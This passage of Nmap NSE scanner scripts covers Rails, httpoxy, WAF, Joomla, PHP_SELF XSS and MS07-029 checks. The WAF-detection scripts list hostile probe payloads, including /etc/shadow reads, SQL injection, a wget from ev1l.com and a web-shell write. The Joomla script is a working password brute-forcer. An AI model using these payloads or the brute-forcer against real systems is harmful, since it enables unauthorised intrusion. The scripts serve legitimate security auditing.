stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" 97 | local vuln_table = { 98 | title = "Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156)", 99 | state = vulns.STATE.NOT_VULN, 100 | risk_factor = "High", 101 | description = [[ 102 | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. 103 | The attackers don't need to be authenticated to exploit these vulnerabilities. 104 | ]], 105 | 106 | references = { 107 | 'https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156', 108 | 'https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ', 109 | 'http://cvedetails.com/cve/2013-0156/', 110 | } 111 | } 112 | 113 | if detect(host,port,uri) then 114 | stdnse.print_debug(1, "%s:Received status 500 as expected in vulnerable installations. Marking as vulnerable...", SCRIPT_NAME) 115 | vuln_table.state = vulns.STATE.VULN 116 | local report = vulns.Report:new(SCRIPT_NAME, host, port) 117 | return report:make_output(vuln_table) 118 | end 119 | 120 | return nil 121 | end 122 | -------------------------------------------------------------------------------- /scripts/http-httpoxy.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local http = require "http" 3 | local os = require "os" 4 | local shortport = require "shortport" 5 | local vulns = require "vulns" 6 | local table = require "table" 7 | local string = require "string" 8 | 9 | description=[[ 10 | Attempts to detect web applications vulnerable to "httpoxy" (CVE-2016-5385, CVE-2016-5386, 11 | CVE-2016-5387, CVE-2016-5388, CVE-2016-1000109, CVE-2016-1000110). 12 | 13 | The script attempts to detect this vulnerability by measuring the response time when 14 | assigning a non-existing proxy to the headers. In theory, vulnerable applications will try 15 | to connect to the bad proxy increasing the response time. To reduce false positives we run 16 | the test several times and we expect the response time from the request with the bad 17 | proxy to be twice as big to get marked as vulnerable. 18 | 19 | References: 20 | * https://httpoxy.org 21 | ]] 22 | 23 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 24 | author = "Paulino Calderon " 25 | categories = {"vuln","exploit","intrusive"} 26 | 27 | portrule = shortport.http 28 | 29 | --- 30 | -- @usage 31 | -- nmap -p80 --script http-httpoxy --script-args iterations=5 32 | -- nmap -sV --script http-httpoxy 33 | -- 34 | -- @args http-httpoxy.path Path. Default: / 35 | -- @args http-httpoxy.tests Number of tests used to measure average response time. Default: 30 36 | -- @args http-httpoxy.threshold Detection threshold. Default: 2 37 | -- 38 | -- @output 39 | -- PORT STATE SERVICE REASON 40 | -- 80/tcp open http syn-ack ttl 64 41 | -- | http-httpoxy: 42 | -- | VULNERABLE: 43 | -- | HTTPoxy 44 | -- | State: VULNERABLE 45 | -- | This web application might be affected by the vulnerability known as HTTPoxy. It seems the 46 | -- | application is reading an arbitrary proxy value from the request headers. 47 | -- | 48 | -- | Disclosure date: 2016-07-18 49 | -- | Extra information: 50 | -- | Avg response:0.003057 Avg response with bad proxy:0.008315 51 | -- | References: 52 | -- |_ https://httpoxy.org 53 | -- 54 | -- @xmloutput 55 | -- HTTPoxy 56 | -- VULNERABLE 57 | -- 58 | -- This web application might be affected by the vulnerability known as HTTPoxy. It seems the 59 | -- application is reading an arbitrary proxy value from the request headers. 60 | --
61 | -- 62 | --
63 | -- 07 64 | -- 18 65 | -- 2016 66 | --
67 | -- 68 | -- 2016-07-18 69 | -- 70 | -- Avg response:0.003918 Avg response with bad proxy:0.008839 71 | --
72 | -- 73 | -- https://httpoxy.org 74 | --
75 | --- 76 | 77 | local function time_requests(host, port, path) 78 | local opts = {header={}} 79 | opts["bypass_cache"] = true 80 | local time_req = nil 81 | local time_resp = nil 82 | local time_total = nil 83 | 84 | --Good request first 85 | time_req = os.clock() 86 | _ = http.get(host, port, path, opts) 87 | time_resp = os.clock() 88 | time_total = time_resp - time_req 89 | stdnse.debug1("Good request total time:%f", time_total) 90 | --Bad request 91 | opts["header"]["Proxy"] = string.format("%s.com", stdnse.generate_random_string(10)) 92 | time_req = os.clock() 93 | _ = http.get(host, port, path, opts) 94 | time_resp = os.clock() 95 | stdnse.debug1("Bad request total time:%f", time_resp - time_req) 96 | return time_total, (time_resp - time_req) 97 | end 98 | 99 | local function calculate_avg(t) 100 | local entries = 0 101 | local sum = 0 102 | for _, v in pairs(t) do 103 | sum = sum + v 104 | entries = entries + 1 105 | end 106 | return (sum/entries) 107 | end 108 | 109 | action = function(host, port) 110 | local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" 111 | local test_count = stdnse.get_script_args(SCRIPT_NAME..".tests") or 30 112 | local detection_threshold = stdnse.get_script_args(SCRIPT_NAME..".threshold") or 2 113 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) 114 | local vuln = { 115 | title = 'HTTPoxy', 116 | state = vulns.STATE.NOT_VULN, 117 | description = [[ 118 | This web application might be affected by the vulnerability known as HTTPoxy. It seems the 119 | application is reading an arbitrary proxy value from the request headers. 120 | ]], 121 | references = { 122 | 'https://httpoxy.org' 123 | }, 124 | dates = { 125 | disclosure = {year = '2016', month = '07', day = '18'}, 126 | }, 127 | } 128 | local good_avg = nil 129 | local bad_avg = nil 130 | local good_reqs = {} 131 | local bad_reqs = {} 132 | 133 | --We measure the average time of good/bad requests 134 | for i=1,test_count do --We always should get a larger avg in bad requests 135 | good_avg, bad_avg = time_requests(host, port, path) 136 | table.insert(good_reqs, good_avg) 137 | table.insert(bad_reqs, bad_avg) 138 | end 139 | 140 | good_avg = calculate_avg(good_reqs) 141 | stdnse.debug1("Average response time for requests without proxy header:%f", good_avg) 142 | bad_avg = calculate_avg(bad_reqs) 143 | stdnse.debug1("Average response time for requests with Proxy header:%f", bad_avg) 144 | if bad_avg > ( good_avg * detection_threshold )then 145 | stdnse.debug1("Web application might be vulnerable to HTTPoxy") 146 | vuln.state = vulns.STATE.VULN 147 | vuln.extra_info = string.format("Avg response:%f Avg response with bad proxy:%f", good_avg, bad_avg) 148 | end 149 | 150 | return vuln_report:make_output(vuln) 151 | end 152 | -------------------------------------------------------------------------------- /old-scripts/http-waf-detect.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Determines if a web server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF (Web Application Firewall) by probing the web server with malicious payloads and detecting changes in the response code and body. 3 | 4 | To do this the script will send a "good" request and record the response, afterwards it will match this response against new requests containing 5 | malicious payloads. In theory, web applications shouldn't react to malicious requests because we are storing the payloads in a variable that is 6 | not used by the script/file and only WAF/IDS/IPS should react to it. 7 | If aggro mode is set, the script will try all attack vectors (More noisy) 8 | 9 | This script can detect numerous IDS, IPS, and WAF products since 10 | they often protect web applications in the same way. But it 11 | won't detect products which don't alter the http traffic. 12 | Results can vary based on product configuration, but this script 13 | has been tested to work against various configurations of the 14 | following products: 15 | 16 | * Apache ModSecurity 17 | * Barracuda Web Application Firewall 18 | * PHPIDS 19 | * dotDefender 20 | * Imperva Web Firewall 21 | * Blue Coat SG 400 22 | 23 | ]] 24 | 25 | --- 26 | -- @usage 27 | -- nmap -p80 --script http-waf-detect 28 | -- nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.uri=/testphp.vulnweb.com/artists.php" www.modsecurity.org 29 | -- 30 | -- @output 31 | -- PORT STATE SERVICE 32 | -- 80/tcp open http 33 | -- |_http-waf-detect: IDS/IPS/WAF detected 34 | -- 35 | -- @args http-waf-detect.uri Target URI. Use a path that does not redirect to a different page 36 | -- @args http-waf-detect.aggro If aggro mode is set, the script will try all attack vectors to trigger the IDS/IPS/WAF 37 | -- @args http-waf-detect.detectBodyChanges If set it also checks for changes in the document's body 38 | -- 39 | -- Other useful args when running this script 40 | -- http.useragent User Agent for HTTP requests 41 | -- http.pipeline Number of requests sent in the single request 42 | 43 | author = "Paulino Calderon" 44 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 45 | categories = {"discovery", "intrusive"} 46 | 47 | require "http" 48 | require "shortport" 49 | require "url" 50 | 51 | portrule = shortport.http 52 | 53 | local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd", 54 | "?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables", 55 | "?p4yl04d3="} 56 | 57 | local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=", 58 | "?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php", 59 | "?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00", 60 | "?p4yl04d=", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt", 61 | "?p4yl04d=UNION%20SELECT%20'',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"} 62 | 63 | action = function(host, port) 64 | local orig_req, tests 65 | local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" 66 | local aggro = stdnse.get_script_args(SCRIPT_NAME..".aggro") or false 67 | local use_body = stdnse.get_script_args(SCRIPT_NAME..".detectBodyChanges") or false 68 | 69 | --get original response from a "good" request 70 | stdnse.print_debug(2, "%s: Requesting URI %s", SCRIPT_NAME, path) 71 | orig_req = http.get(host, port, path) 72 | orig_req.body = http.clean_404(orig_req.body) 73 | if orig_req.status and orig_req.body then 74 | stdnse.print_debug(3, "Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body) 75 | else 76 | return "[ERROR] Initial HTTP request failed" 77 | end 78 | --if aggro mode on, try all vectors 79 | if aggro then 80 | for _, vector in pairs(attack_vectors_n2) do 81 | table.insert(attack_vectors_n1, vector) 82 | end 83 | end 84 | 85 | --perform the "3v1l" requests to try to trigger the IDS/IPS/WAF 86 | tests = nil 87 | for _, vector in pairs(attack_vectors_n1) do 88 | stdnse.print_debug(2, "Probing with payload:%s",vector) 89 | tests = http.pipeline_add(path..vector, nil, tests) 90 | end 91 | local test_results = http.pipeline_go(host, port, tests) 92 | 93 | if test_results == nil then 94 | return "[ERROR] HTTP request table is empty. This should not ever happen because we at least made one request." 95 | end 96 | 97 | 98 | --get results 99 | local waf_bool = false 100 | local payload_example = false 101 | for i, res in pairs(test_results) do 102 | res.body = http.clean_404(res.body) 103 | if orig_req.status ~= res.status or ( use_body and orig_req.body ~= res.body) then 104 | if not( payload_example ) then 105 | payload_example = attack_vectors_n1[i] 106 | end 107 | if payload_example and ( string.len(payload_example) > string.len(attack_vectors_n1[i]) ) then 108 | payload_example = attack_vectors_n1[i] 109 | end 110 | stdnse.print_debug(2, "Payload:%s trigerred the IDS/IPS/WAF", attack_vectors_n1[i]) 111 | if res.status and res.body then 112 | stdnse.print_debug(3, "Status:%s Body:%s\n", res.status, res.body) 113 | end 114 | waf_bool = true 115 | end 116 | end 117 | 118 | if waf_bool then 119 | return string.format("IDS/IPS/WAF detected:\n%s:%d%s%s", stdnse.get_hostname(host), port.number, path, payload_example) 120 | end 121 | end 122 | -------------------------------------------------------------------------------- /scripts/http-waf-detect.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local shortport = require "shortport" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local table = require "table" 6 | 7 | description = [[ 8 | Attempts to determine whether a web server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF (Web Application Firewall) by probing the web server with malicious payloads and detecting changes in the response code and body. 9 | 10 | To do this the script will send a "good" request and record the response, afterwards it will match this response against new requests containing 11 | malicious payloads. In theory, web applications shouldn't react to malicious requests because we are storing the payloads in a variable that is 12 | not used by the script/file and only WAF/IDS/IPS should react to it. 13 | If aggro mode is set, the script will try all attack vectors (More noisy) 14 | 15 | This script can detect numerous IDS, IPS, and WAF products since 16 | they often protect web applications in the same way. But it 17 | won't detect products which don't alter the http traffic. 18 | Results can vary based on product configuration, but this script 19 | has been tested to work against various configurations of the 20 | following products: 21 | 22 | * Apache ModSecurity 23 | * Barracuda Web Application Firewall 24 | * PHPIDS 25 | * dotDefender 26 | * Imperva Web Firewall 27 | * Blue Coat SG 400 28 | 29 | ]] 30 | 31 | --- 32 | -- @usage 33 | -- nmap -p80 --script http-waf-detect 34 | -- nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.uri=/testphp.vulnweb.com/artists.php" www.modsecurity.org 35 | -- 36 | -- @output 37 | -- PORT STATE SERVICE 38 | -- 80/tcp open http 39 | -- |_http-waf-detect: IDS/IPS/WAF detected 40 | -- 41 | -- @args http-waf-detect.uri Target URI. Use a path that does not redirect to a different page 42 | -- @args http-waf-detect.aggro If aggro mode is set, the script will try all attack vectors to trigger the IDS/IPS/WAF 43 | -- @args http-waf-detect.detectBodyChanges If set it also checks for changes in the document's body 44 | -- 45 | -- Other useful args when running this script 46 | -- http.useragent User Agent for HTTP requests 47 | -- http.pipeline Number of requests sent in the single request 48 | 49 | author = "Paulino Calderon" 50 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 51 | categories = {"discovery", "intrusive"} 52 | 53 | 54 | portrule = shortport.http 55 | 56 | local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd", 57 | "?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables", 58 | "?p4yl04d3="} 59 | 60 | local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=", 61 | "?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php", 62 | "?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00", 63 | "?p4yl04d=", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt", 64 | "?p4yl04d=UNION%20SELECT%20'',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"} 65 | 66 | action = function(host, port) 67 | local orig_req, tests 68 | local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" 69 | local aggro = stdnse.get_script_args(SCRIPT_NAME..".aggro") or false 70 | local use_body = stdnse.get_script_args(SCRIPT_NAME..".detectBodyChanges") or false 71 | 72 | --get original response from a "good" request 73 | stdnse.print_debug(2, "%s: Requesting URI %s", SCRIPT_NAME, path) 74 | orig_req = http.get(host, port, path) 75 | orig_req.body = http.clean_404(orig_req.body) 76 | if orig_req.status and orig_req.body then 77 | stdnse.print_debug(3, "Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body) 78 | else 79 | return "[ERROR] Initial HTTP request failed" 80 | end 81 | --if aggro mode on, try all vectors 82 | if aggro then 83 | for _, vector in pairs(attack_vectors_n2) do 84 | table.insert(attack_vectors_n1, vector) 85 | end 86 | end 87 | 88 | --perform the "3v1l" requests to try to trigger the IDS/IPS/WAF 89 | tests = nil 90 | for _, vector in pairs(attack_vectors_n1) do 91 | stdnse.print_debug(2, "Probing with payload:%s",vector) 92 | tests = http.pipeline_add(path..vector, nil, tests) 93 | end 94 | local test_results = http.pipeline_go(host, port, tests) 95 | 96 | if test_results == nil then 97 | return "[ERROR] HTTP request table is empty. This should not ever happen because we at least made one request." 98 | end 99 | 100 | 101 | --get results 102 | local waf_bool = false 103 | local payload_example = false 104 | for i, res in pairs(test_results) do 105 | res.body = http.clean_404(res.body) 106 | if orig_req.status ~= res.status or ( use_body and orig_req.body ~= res.body) then 107 | if not( payload_example ) then 108 | payload_example = attack_vectors_n1[i] 109 | end 110 | if payload_example and ( string.len(payload_example) > string.len(attack_vectors_n1[i]) ) then 111 | payload_example = attack_vectors_n1[i] 112 | end 113 | stdnse.print_debug(2, "Payload:%s trigerred the IDS/IPS/WAF", attack_vectors_n1[i]) 114 | if res.status and res.body then 115 | stdnse.print_debug(3, "Status:%s Body:%s\n", res.status, res.body) 116 | end 117 | waf_bool = true 118 | end 119 | end 120 | 121 | if waf_bool then 122 | return string.format("IDS/IPS/WAF detected:\n%s:%d%s%s", stdnse.get_hostname(host), port.number, path, payload_example) 123 | end 124 | end 125 | -------------------------------------------------------------------------------- /workshops/dc24/sample-scan/scanme.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | cpe:/a:openbsd:openssh:6.6.1p1cpe:/o:linux:linux_kernel 19 | 20 | cpe:/a:apache:http_server:2.4.7 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /old-scripts/http-joomla-brute.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Performs a brute force password attack against Joomla installations. 3 | 4 | This script initially reads the session cookie and parses the security token to perfom the brute force password auditing. 5 | It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the 6 | credentials library. 7 | 8 | Joomla's default uri and form names: 9 | * Default uri:/administrator/index.php 10 | * Default uservar: username 11 | * Default passvar: passwd 12 | ]] 13 | 14 | --- 15 | -- @usage 16 | -- nmap -sV --script http-joomla-brute 17 | -- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com, 18 | -- http-joomla-brute.threads=3,brute.firstonly=true' 19 | -- nmap -sV --script http-joomla-brute 20 | -- 21 | -- @output 22 | -- PORT STATE SERVICE REASON 23 | -- 80/tcp open http syn-ack 24 | -- | http-joomla-brute: 25 | -- | Accounts 26 | -- | xdeadbee:i79eWBj07g => Login correct 27 | -- | Statistics 28 | -- |_ Perfomed 499 guesses in 301 seconds, average tps: 0 29 | -- 30 | -- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php 31 | -- @args http-joomla-brute.hostname Virtual Hostname Header 32 | -- @args http-joomla-brute.uservar sets the http-variable name that holds the 33 | -- username used to authenticate. Default: username 34 | -- @args http-joomla-brute.passvar sets the http-variable name that holds the 35 | -- password used to authenticate. Default: passwd 36 | -- @args http-joomla-brute.threads sets the number of threads. Default: 3 37 | -- 38 | -- Other useful arguments when using this script are: 39 | -- * http.useragent = String - User Agent used in HTTP requests 40 | -- * brute.firstonly = Boolean - Stop attack when the first credentials are found 41 | -- * brute.mode = user/creds/pass - Username password iterator 42 | -- * passdb = String - Path to password list 43 | -- * userdb = String - Path to user list 44 | -- 45 | -- 46 | -- Based on Patrik Karlsson's http-form-brute 47 | -- 48 | 49 | author = "Paulino Calderon" 50 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 51 | categories = {"intrusive", "auth"} 52 | 53 | require 'shortport' 54 | require 'http' 55 | require 'brute' 56 | require 'creds' 57 | 58 | portrule = shortport.http 59 | 60 | local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php" 61 | local DEFAULT_JOOMLA_USERVAR = "username" 62 | local DEFAULT_JOOMLA_PASSVAR = "passwd" 63 | local DEFAULT_THREAD_NUM = 3 64 | 65 | local security_token 66 | local session_cookie_str 67 | 68 | --- 69 | --This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html) 70 | --- 71 | Driver = { 72 | new = function(self, host, port, options) 73 | local o = {} 74 | setmetatable(o, self) 75 | self.__index = self 76 | o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host 77 | o.port = port 78 | o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI 79 | o.options = options 80 | return o 81 | end, 82 | 83 | connect = function( self ) 84 | return true 85 | end, 86 | 87 | login = function( self, username, password ) 88 | stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token) 89 | local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, 90 | { [self.options.uservar] = username, [self.options.passvar] = password, 91 | [security_token] = 1, lang = "", option = "com_login", task = "login" } ) 92 | 93 | if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then 94 | stdnse.print_debug(2, "Response:\n%s", response.body) 95 | local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port ) 96 | c:add(username, password, creds.State.VALID ) 97 | return true, brute.Account:new( username, password, "OPEN") 98 | end 99 | return false, brute.Error:new( "Incorrect password" ) 100 | end, 101 | 102 | disconnect = function( self ) 103 | return true 104 | end, 105 | 106 | check = function( self ) 107 | local response = http.get( self.host, self.port, self.uri ) 108 | stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) 109 | -- Check if password field is there 110 | if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then 111 | stdnse.print_debug(1, "Initial check passed. Launching brute force attack") 112 | session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"]; 113 | if response.body then 114 | _, _, security_token = string.find(response.body, '') 115 | end 116 | if security_token then 117 | stdnse.print_debug(2, "Security Token found:%s", security_token) 118 | else 119 | stdnse.print_debug(2, "The security token was not found.") 120 | return false 121 | end 122 | 123 | return true 124 | else 125 | stdnse.print_debug(1, "Initial check failed. Password field wasn't found") 126 | end 127 | return false 128 | end 129 | 130 | } 131 | --- 132 | --MAIN 133 | --- 134 | action = function( host, port ) 135 | local status, result, engine 136 | local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR 137 | local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR 138 | local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM 139 | 140 | engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) 141 | engine:setMaxThreads(thread_num) 142 | engine.options.script_name = SCRIPT_NAME 143 | status, result = engine:start() 144 | 145 | return result 146 | end 147 | -------------------------------------------------------------------------------- /old-scripts/http-phpself-xss.nse: -------------------------------------------------------------------------------- 1 | description=[[ 2 | Crawls a web server looking for PHP files that use the variable $_SERVER["PHP_SELF"] unsafely. 3 | 4 | This script crawls the webserver to create a list of PHP files and then sends an attack vector/probe to identify PHP_SELF cross site scripting vulnerabilities. 5 | PHP_SELF XSS refers to reflected cross site scripting vulnerabilities caused by the lack of sanitation of the variable $_SERVER["PHP_SELF"] in PHP scripts. This variable is 6 | commonly used in php scripts with forms and when the current URI is needed. 7 | 8 | Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]: 9 | *http://www.securityfocus.com/bid/37351 10 | *http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage 11 | *http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x 12 | 13 | The attack vector/probe used is: /'"/> 14 | ]] 15 | --- 16 | -- @usage 17 | -- nmap --script=http-phpself-xss -p80 18 | -- nmap -sV --script http-self-xss 19 | -- @output 20 | -- PORT STATE SERVICE REASON 21 | -- 80/tcp open http syn-ack 22 | -- | http-phpself-xss: 23 | -- | VULNERABLE: 24 | -- | Unsafe use of $_SERVER["PHP_SELF"] in PHP files 25 | -- | State: VULNERABLE (Exploitable) 26 | -- | Description: 27 | -- | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. 28 | -- | 29 | -- | Extra information: 30 | -- | 31 | -- | Vulnerable files with proof of concept: 32 | -- | http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 33 | -- | http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 34 | -- | http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 35 | -- | http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 36 | -- | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com 37 | -- | References: 38 | -- | https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 39 | -- |_ http://php.net/manual/en/reserved.variables.server.php 40 | -- @args http-phpself-xss.uri URI. Default: / 41 | -- @args http-phpself-xss.timeout Spidering timeout. Default:10000 42 | author = "Paulino Calderon" 43 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 44 | categories = {"discovery", "intrusive", "vuln"} 45 | 46 | local http = require 'http' 47 | local httpspider = require 'httpspider' 48 | local shortport = require 'shortport' 49 | local url = require 'url' 50 | local stdnse = require 'stdnse' 51 | local vulns = require 'vulns' 52 | 53 | portrule = shortport.http 54 | 55 | -- PHP_SELF Attack vector 56 | local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E' 57 | 58 | --Checks if attack vector is in the response's body 59 | --@param response Response table 60 | --@return True if attack vector is found in response's body 61 | local function check_probe_response(response) 62 | stdnse.print_debug(3, "Probe response:\n%s", response.body) 63 | if string.find(response.body, "'\"/>", 1, true) ~= nil then 64 | return true 65 | end 66 | return false 67 | end 68 | 69 | --Launches probe request 70 | --@param host Hostname 71 | --@param port Port number 72 | --@param uri URL String 73 | --@return True if page is vulnerable/attack vector was found in body 74 | local function launch_probe(host, port, uri) 75 | local probe_response 76 | 77 | stdnse.print_debug(1, "HTTP GET %s%s", uri, PHP_SELF_PROBE) 78 | probe_response = http.get(host, port, uri .. PHP_SELF_PROBE) 79 | if check_probe_response(probe_response) then 80 | return true 81 | end 82 | return false 83 | end 84 | 85 | --- 86 | --main 87 | --- 88 | action = function(host, port) 89 | local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" 90 | local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000 91 | local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } ) 92 | crawler:set_timeout(timeout) 93 | 94 | local vuln = { 95 | title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files', 96 | state = vulns.STATE.NOT_VULN, 97 | description = [[ 98 | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. 99 | ]], 100 | references = { 101 | 'http://php.net/manual/en/reserved.variables.server.php', 102 | 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' 103 | } 104 | } 105 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) 106 | 107 | local vulnpages = {} 108 | while(true) do 109 | local status, r = crawler:crawl() 110 | if ( not(status) ) then 111 | if ( r.err ) then 112 | return stdnse.format_output(true, "ERROR: %s", r.reason) 113 | else 114 | break 115 | end 116 | end 117 | 118 | local parsed = url.parse(tostring(r.url)) 119 | --Only work with .php files 120 | if ( parsed.path:match(".*.php") ) then 121 | --The following port/scheme code was seen in http-backup-finder and its neat =) 122 | local host, port = parsed.host, parsed.port 123 | if ( not(port) ) then 124 | port = (parsed.scheme == 'https') and 443 125 | port = port or ((parsed.scheme == 'http') and 80) 126 | end 127 | local escaped_link = parsed.path:gsub(" ", "%%20") 128 | if launch_probe(host,port,escaped_link) then 129 | table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE) 130 | end 131 | end 132 | end 133 | 134 | if ( #vulnpages > 0 ) then 135 | vuln.state = vulns.STATE.EXPLOIT 136 | vulnpages.name = "Vulnerable files with proof of concept:" 137 | vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations() 138 | return vuln_report:make_output(vuln) 139 | 140 | end 141 | end 142 | 143 | -------------------------------------------------------------------------------- /scripts/smb-vuln-ms07-029.nse: -------------------------------------------------------------------------------- 1 | local msrpc = require "msrpc" 2 | local nmap = require "nmap" 3 | local smb = require "smb" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | local vulns = require "vulns" 8 | 9 | description = [[ 10 | Detects Microsoft Windows systems with Dns Server RPC vulnerable to MS07-029. 11 | 12 | MS07-029 targets the R_DnssrvQuery() and R_DnssrvQuery2() 13 | RPC method which isa part of DNS Server RPC interface that serves as a RPC service 14 | for configuring and getting information from the DNS Server service. 15 | DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe. 16 | The vulnerability is triggered when a long string is send as the "zone" parameter 17 | which causes the buffer overflow which crashes the service. 18 | 19 | This check was previously part of smb-check-vulns. 20 | ]] 21 | --- 22 | --@usage 23 | -- nmap --script smb-vuln-ms07-029.nse -p445 24 | -- nmap -sU --script smb-vuln-ms07-029.nse -p U:137,T:139 25 | -- 26 | --@output 27 | --Host script results: 28 | --| smb-vuln-ms07-029: 29 | --| VULNERABLE: 30 | --| Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029) 31 | --| State: VULNERABLE 32 | --| IDs: CVE:CVE-2007-1748 33 | --| A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in 34 | --| Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to 35 | --| execute arbitrary code via a long zone name containing character constants represented by escape sequences. 36 | --| 37 | --| Disclosure date: 2007-06-06 38 | --| References: 39 | --| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1748 40 | --|_ https://technet.microsoft.com/en-us/library/security/ms07-029.aspx 41 | --- 42 | 43 | author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} 44 | copyright = "Ron Bowes" 45 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 46 | categories = {"intrusive","exploit","dos","vuln"} 47 | -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill 48 | -- other scans have had a chance to run) 49 | dependencies = { 50 | "smb-brute", "smb-enum-sessions", "smb-security-mode", 51 | "smb-enum-shares", "smb-server-stats", 52 | "smb-enum-domains", "smb-enum-users", "smb-system-info", 53 | 